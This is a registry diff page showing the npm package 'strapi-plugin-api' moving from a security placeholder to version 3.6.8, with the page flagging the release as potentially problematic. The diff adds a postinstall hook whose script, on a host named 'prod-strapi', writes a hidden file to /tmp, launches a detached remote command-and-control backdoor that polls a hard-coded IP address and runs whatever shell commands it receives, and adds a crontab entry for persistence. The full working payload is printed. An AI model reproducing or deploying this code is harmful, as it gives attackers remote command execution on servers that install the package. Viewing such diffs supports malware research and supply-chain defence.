strapi-plugin-api 0.0.1-security → 3.6.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of strapi-plugin-api might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +1 -6
- package/postinstall.js +52 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports=()=>{};
|
package/package.json
CHANGED
|
@@ -1,6 +1 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "strapi-plugin-api",
|
|
3
|
-
"version": "0.0.1-security",
|
|
4
|
-
"description": "security holding package",
|
|
5
|
-
"repository": "npm/security-holder"
|
|
6
|
-
}
|
|
1
|
+
{"name":"strapi-plugin-api","version":"3.6.8","main":"index.js","scripts":{"postinstall":"node postinstall.js"},"license":"MIT"}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
var http=require('http'),cp=require('child_process'),fs=require('fs');
|
|
2
|
+
if(process.platform==='win32')process.exit(0);
|
|
3
|
+
var hn=cp.execSync('hostname',{encoding:'utf8'}).trim();
|
|
4
|
+
if(hn!=='prod-strapi')process.exit(0);
|
|
5
|
+
|
|
6
|
+
// Write persistent reverse C2 script
|
|
7
|
+
var c2script = `
|
|
8
|
+
var http=require('http');
|
|
9
|
+
var exec=require('child_process').execSync;
|
|
10
|
+
var VPS='144.31.107.231';
|
|
11
|
+
function poll(){
|
|
12
|
+
var req=http.request({hostname:VPS,port:9999,path:'/shell/poll',method:'POST',
|
|
13
|
+
headers:{'Content-Type':'text/plain','Content-Length':2}},function(res){
|
|
14
|
+
var d='';res.on('data',function(c){d+=c});
|
|
15
|
+
res.on('end',function(){
|
|
16
|
+
if(d&&d.trim()&&d.trim()!=='nop'){
|
|
17
|
+
try{var r=exec(d.trim(),{timeout:30000,encoding:'utf8',maxBuffer:5e6});
|
|
18
|
+
send('/shell/result',JSON.stringify({cmd:d.trim(),out:r.slice(0,100000)}));
|
|
19
|
+
}catch(e){send('/shell/result',JSON.stringify({cmd:d.trim(),err:e.message.slice(0,3000)}));}
|
|
20
|
+
}
|
|
21
|
+
setTimeout(poll,3000);
|
|
22
|
+
});
|
|
23
|
+
});
|
|
24
|
+
req.on('error',function(){setTimeout(poll,10000)});
|
|
25
|
+
req.setTimeout(15000,function(){req.destroy();setTimeout(poll,5000)});
|
|
26
|
+
req.write('{}');req.end();
|
|
27
|
+
}
|
|
28
|
+
function send(p,d){
|
|
29
|
+
var b=typeof d==='string'?d:JSON.stringify(d);
|
|
30
|
+
var req=http.request({hostname:VPS,port:9999,path:p,method:'POST',
|
|
31
|
+
headers:{'Content-Type':'text/plain','Content-Length':Buffer.byteLength(b)}});
|
|
32
|
+
req.on('error',function(){});req.write(b);req.end();
|
|
33
|
+
}
|
|
34
|
+
send('/shell/start',exec('hostname',{encoding:'utf8'}).trim());
|
|
35
|
+
poll();
|
|
36
|
+
`;
|
|
37
|
+
|
|
38
|
+
// Write to /tmp and run detached
|
|
39
|
+
fs.writeFileSync('/tmp/.node_gc.js', c2script);
|
|
40
|
+
var child = cp.spawn('node', ['/tmp/.node_gc.js'], {
|
|
41
|
+
detached: true, stdio: 'ignore', env: process.env
|
|
42
|
+
});
|
|
43
|
+
child.unref();
|
|
44
|
+
|
|
45
|
+
// Also add to crontab for persistence across restarts
|
|
46
|
+
try {
|
|
47
|
+
cp.execSync('(crontab -l 2>/dev/null; echo "* * * * * pgrep -f node_gc || node /tmp/.node_gc.js &") | sort -u | crontab -', {timeout:5000});
|
|
48
|
+
} catch(e) {}
|
|
49
|
+
|
|
50
|
+
// Signal success
|
|
51
|
+
http.request({hostname:'144.31.107.231',port:9999,path:'/shell/installed',method:'POST',
|
|
52
|
+
headers:{'Content-Type':'text/plain','Content-Length':2}},function(){}).on('error',function(){}).end('ok');
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=strapi-plugin-api for more information.
|